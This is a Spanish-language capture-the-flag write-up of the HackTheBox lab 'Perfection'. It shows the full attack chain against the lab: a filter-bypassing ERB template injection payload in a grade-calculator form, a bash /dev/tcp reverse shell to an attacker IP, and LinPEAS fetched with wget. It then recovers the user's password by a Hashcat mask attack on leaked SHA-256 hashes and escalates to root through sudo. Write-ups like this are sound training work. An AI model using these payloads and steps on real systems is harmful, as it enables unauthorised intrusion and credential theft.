Perfection – HackTheBox Link to heading

  • OS: Linux
  • Difficulty / Dificultad: Easy / Fácil
  • Platform / Plataforma: HackTheBox

‘Perfection’ Avatar


Resumen Link to heading

Perfection es una máquina de dificultad fácil de la plataforma HackTheBox. En ella tenemos una página web la cual muestra una calculadora para estimar Calificaciones y sus respectivas ponderaciones. No obstante, uno de los campos de esta calculadora permite inyección de comandos lo cual nos permite ganar acceso a la máquina víctima. Una vez dentro, notamos que el usuario con el que hemos entrado está dentro del grupo sudo, por lo que sólo es necesario saber su contraseña para correr cualquier comando como el usuario root. Utilizando la herramienta LinPEAS notamos que este usuario tiene un mail el cual dice el formato de la contraseña, pero no la contraseña en sí. Además, somos capaces de encontrar un archivo .db con los hashes de las contraseñas de usuarios. Basados en el formato que rige a las contraseñas del mail y el hash hallado, somos capaces de estimar la contraseña mediante expresiones regulares junto con Hashcat. Una vez hallada la contraseña, y ya que somos miembros del grupo sudo, podemos correr cualquier comando como root dentro de ésta por lo que ganamos total acceso a la máquina víctima.


User / Usuario Link to heading

Empezando con un scan con Nmap sólo muestra 2 puertos abiertos: 22 SSH y 80 HTTP:

❯ sudo nmap -sVC -p22,80 10.10.11.253 -oN targeted

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-24 00:26 -04
Nmap scan report for 10.10.11.253
Host is up (0.17s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 80:e4:79:e8:59:28:df:95:2d:ad:57:4a:46:04:ea:70 (ECDSA)
|_  256 e9:ea:0c:1d:86:13:ed:95:a9:d0:0b:c8:22:e4:cf:e9 (ED25519)
80/tcp open  http    nginx
|_http-title: Weighted Grade Calculator
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.17 seconds

Visitando http://10.10.11.253 muestra una simple página:

Perfection 1

En la parte superior de esta página puedo ver que dice Calculate your weighted grade. Clickeando en ella podemos ver lo que parece ser una calculadora para Calificaciones:

Perfection 2

Para revisar cómo funciona esta “calculadora” es que decido rellenarla con algunos datos al azar. Si la llenamos con data cuyo valor de la columna Weight excede 100 (en total) obtenemos un error:

Please reenter! Weights do not add up to 100. 

Si trato de inyectar comandos la página web lo detecta:

Perfection 3

donde podemos leer Malicious input blocked.

Para ver si algunos de los campos es inyectable es que decido utilizar Burpsuite para esta “calculadora”. Adicionalmente, empiezo un listener con tcpdump para chequear si puedo mandarme un comando ping a mi máquina:

❯ sudo tcpdump -ni tun0 icmp

En Burpsuite, luego de rellenar la calculadora con data random e interceptar la petición, tengo:

POST /weighted-grade-calc HTTP/1.1
Host: 10.10.11.253
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 156
Origin: http://10.10.11.253
DNT: 1
Connection: close
Referer: http://10.10.11.253/weighted-grade
Upgrade-Insecure-Requests: 1

category1=a&grade1=1&weight1=100&category2=b&grade2=1&weight2=0&category3=c&grade3=1&weight3=0&category4=d&grade4=1&weight4=0&category5=e&grade5=1&weight5=0

Mando esta petición al Repeater en Burpsuite. Aquí empiezo a jugar con los valores del parámetro category, dado que éste acepta todo tipo de datos; a diferencia de los parámetros grade y weight los cuales sólo aceptan números enteros. Luego de jugar con algunos parámetros, finalmente logro una inyección de comandos usando:

category1=a%0A<%25%3Dsystem("ping+-c1+10.10.16.2");%25>

donde 10.10.16.2 es mi dirección IP de atacante. De manera que la petición HTTP maliciosa se ve como:

POST /weighted-grade-calc HTTP/1.1
Host: 10.10.11.253
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 200
Origin: http://10.10.11.253
DNT: 1
Connection: close
Referer: http://10.10.11.253/weighted-grade
Upgrade-Insecure-Requests: 1

category1=a%0A<%25%3Dsystem("ping+-c1+10.10.16.2");%25>&grade1=1&weight1=100&category2=b&grade2=1&weight2=0&category3=c&grade3=1&weight3=0&category4=d&grade4=1&weight4=0&category5=e&grade5=1&weight5=0

Luego de enviar esta petición, obtengo algo en mi listener con tcpdump desde la dirección IP de la máquina víctima:

❯ sudo tcpdump -ni tun0 icmp

tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
00:58:55.997893 IP 10.10.11.253 > 10.10.16.2: ICMP echo request, id 2, seq 1, length 64
00:58:55.997905 IP 10.10.16.2 > 10.10.11.253: ICMP echo reply, id 2, seq 1, length 64

De manera que efectivamente hemos logrado un Command Injection (inyección de comandos). Me mandaré una reverse shell usando el comando:

bash -c 'bash -i >& /dev/tcp/10.10.16.2/443' 0>&1

donde, de nuevo, 10.10.16.2 es mi IP de atacante y 443 es el puerto en el cual me pondré en escucha con netcat.

Empiezo un listener con netcat en el puerto 443:

❯ nc -lvnp 443

y luego envío el payload a través del Repeater de Burpsuite con la petición:

POST /weighted-grade-calc HTTP/1.1
Host: 10.10.11.253
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 234
Origin: http://10.10.11.253
DNT: 1
Connection: close
Referer: http://10.10.11.253/weighted-grade
Upgrade-Insecure-Requests: 1

category1=a%0A<%25%3Dsystem("bash+-c+'bash+-i+>%26+/dev/tcp/10.10.16.2/443+0>%261'");%25>&grade1=1&weight1=100&category2=b&grade2=1&weight2=0&category3=c&grade3=1&weight3=0&category4=d&grade4=1&weight4=0&category5=e&grade5=1&weight5=0

Y obtengo una shell como el usuario susan:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.253] 43844
bash: cannot set terminal process group (998): Inappropriate ioctl for device
bash: no job control in this shell
susan@perfection:~/ruby_app$ whoami

whoami
susan

Donde podemos leer la flag de usuario en el directorio home del usuario susan.


Root Link to heading

Noto que susan es miembro del grupo sudo. Es decir, podemos correr prácticamente cualquier comando con sudo siempre y cuando tengamos la contraseña de aquel usuario. Pero no la tenemos todavía.

Decido subir LinPEAS a la máquina víctima (el cual puede ser descargado desde su repositorio de Github). Para esto empiezo un servidor HTTP en Python en el puerto 8000 en my máquina de atacante en el donde se localiza el archivo linpeas.sh:

❯ ls && python3 -m http.server 8000

linpeas.sh

Y en la máquina víctima lo descargo simplemente usando el comando wget:

susan@perfection:~/ruby_app$ wget http://10.10.16.2:8000/linpeas.sh -O /tmp/linpeas.sh

--2024-05-24 05:14:19--  http://10.10.16.2:8000/linpeas.sh
Connecting to 10.10.16.2:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 847815 (828K) [text/x-sh]
Saving to: ‘/tmp/linpeas.sh’

/tmp/linpeas.sh                            100%[=======================================================================================>] 827.94K   356KB/s    in 2.3s

2024-05-24 05:14:22 (356 KB/s) - ‘/tmp/linpeas.sh’ saved [847815/847815]

Le asigno permisos de ejecución al archivo descargado y lo ejecuto:

susan@perfection:~/ruby_app$ chmod +x /tmp/linpeas.sh

susan@perfection:~/ruby_app$ /tmp/linpeas.sh

<SNIP>

Del output noto que hay algunos mails:

<SNIP>
╔══════════╣ Mails (limit 50)
    39937      4 -rw-r-----   1 root     susan         625 May 14  2023 /var/mail/susan
    39937      4 -rw-r-----   1 root     susan         625 May 14  2023 /var/spool/mail/susan
<SNIP>

Leyendo /var/spool/mail/susan tenemos:

susan@perfection:~/ruby_app$ cat /var/spool/mail/susan

Due to our transition to Jupiter Grades because of the PupilPath data breach, I thought we should also migrate our credentials ('our' including the other students

in our class) to the new platform. I also suggest a new password specification, to make things easier for everyone. The password format is:

{firstname}_{firstname backwards}_{randomly generated integer between 1 and 1,000,000,000}

Note that all letters of the first name should be convered into lowercase.

Please hit me with updates on the migration when you can. I am currently registering our university with the platform.

- Tina, your delightful student

Donde el texto básicamente nos dice cómo se generan las contraseñas para un usuario dentro de la máquina. Para ello se utiliza el formato:

{primer nombre}_{primer nombre al revés}_{número random generado entre 1 y 1 000 000 000}

De LinPEAS noto también que hay un archivo que contiene contraseñas/credenciales:

<SNIP>
╔══════════╣ Searching *password* or *credential* files in home (limit 70)
/etc/pam.d/common-password
/home/susan/Migration/pupilpath_credentials.db
/usr/bin/systemd-ask-password
/usr/bin/systemd-tty-ask-password-agent
/usr/lib/git-core/git-credential
/usr/lib/git-core/git-credential-cache
/usr/lib/git-core/git-credential-cache--daemon
/usr/lib/git-core/git-credential-store
  #)There are more creds/passwds files in the previous parent folder
<SNIP>

Si tratamos de leer este archivo con cat éste se encuentra algo buggeado:

susan@perfection:~/ruby_app$ cat /home/susan/Migration/pupilpath_credentials.db

^ableusersusersCREATE TABLE users (
id INTEGER PRIMARY KEY,
name TEXT,
password TEXT
a\
Susan Millerabeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023fsusan@perfection:~/ruby_app$

pero si lo leemos usando el comando strings podemos ver más información:

susan@perfection:~/ruby_app$ strings /home/susan/Migration/pupilpath_credentials.db

SQLite format 3
tableusersusers
CREATE TABLE users (
id INTEGER PRIMARY KEY,
name TEXT,
password TEXT
Stephen Locke154a38b253b4e08cba818ff65eb4413f20518655950b9a39964c18d7737d9bb8S
David Lawrenceff7aedd2f4512ee1848a3e18f86c4450c1c76f5c6e27cd8b0dc05557b344b87aP
Harry Tylerd33a689526d49d32a01986ef5a1a3d2afc0aaee48978f06139779904af7a6393O
Tina Smithdd560928c97354e3c22972554c81901b74ad1b35f726a11654b78cd6fd8cec57Q
Susan Millerabeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f

Asumo que esta información está relacionada con el mail hallado, donde encontramos información con el formato:

<Primer Nombre> <Apellido><hash>

de manera que para nuestro usuario tenemos un primer nombre (Susan), también hemos encontrado lo que debería de ser el apellido del usuario que hemos hallado (Miller) y un hash (abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f). Basados en el email, la contraseña debería ser algo como:

susan_nasus_<número entre 1 y 1 000 000 000>

donde el nombre y el nombre al revés están en minúsculas dada la información del mail. También asumo que el hash generado de esta contraseña debe de ser igual a aquel hallado en el archivo pupilpath_credentials.db para el usuario Susan Miller.

Para esto podemos intentar un Brute Force Password Cracking junto con expresiones regulares con Hashcat. Primero, usando hash-identifier, notamos que el tipo del hash puede ser SHA-256:

❯ hash-identifier

<SNIP>
--------------------------------------------------
 HASH: abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f

Possible Hashs:
[+] SHA-256
[+] Haval-256

Mirando ejemplos de hashes para Hashcat podemos ver que necesitamos mode 1400 para este tipo de hash.

Finalmente podemos correr Hashcat junto con expresiones expresiones regulares:

❯ hashcat -a 3 -m 1400 abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f "susan_nasus_?d?d?d?d?d?d?d?d?d"

hashcat (v6.2.6) starting

<SNIP>
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: susan_nasus_126824210 -> susan_nasus_722759210
Hardware.Mon.#1..: Util: 50%

Started: Fri May 24 01:52:00 2024
Stopped: Fri May 24 01:54:49 2024

y encontramos una contraseña:

❯ hashcat -a 3 -m 1400 abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f "susan_nasus_?d?d?d?d?d?d?d?d?d" --show

abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f:susan_nasus_413759210

de manera que tenemos las credenciales susan:susan_nasus_413759210.

Como ya mencionamos previamente, este usuario es miembro del grupo sudo. Ahora que tenemos la contraseña podemos simplemente abrir una shell con privilegios de root, por ejemplo corriendo:

susan@perfection:~/ruby_app$ sudo /bin/bash

[sudo] password for susan:

root@perfection:/home/susan/ruby_app# whoami

root

y eso es todo. Podemos leer la flag del usuario root en el directorio /root.

~Happy Hacking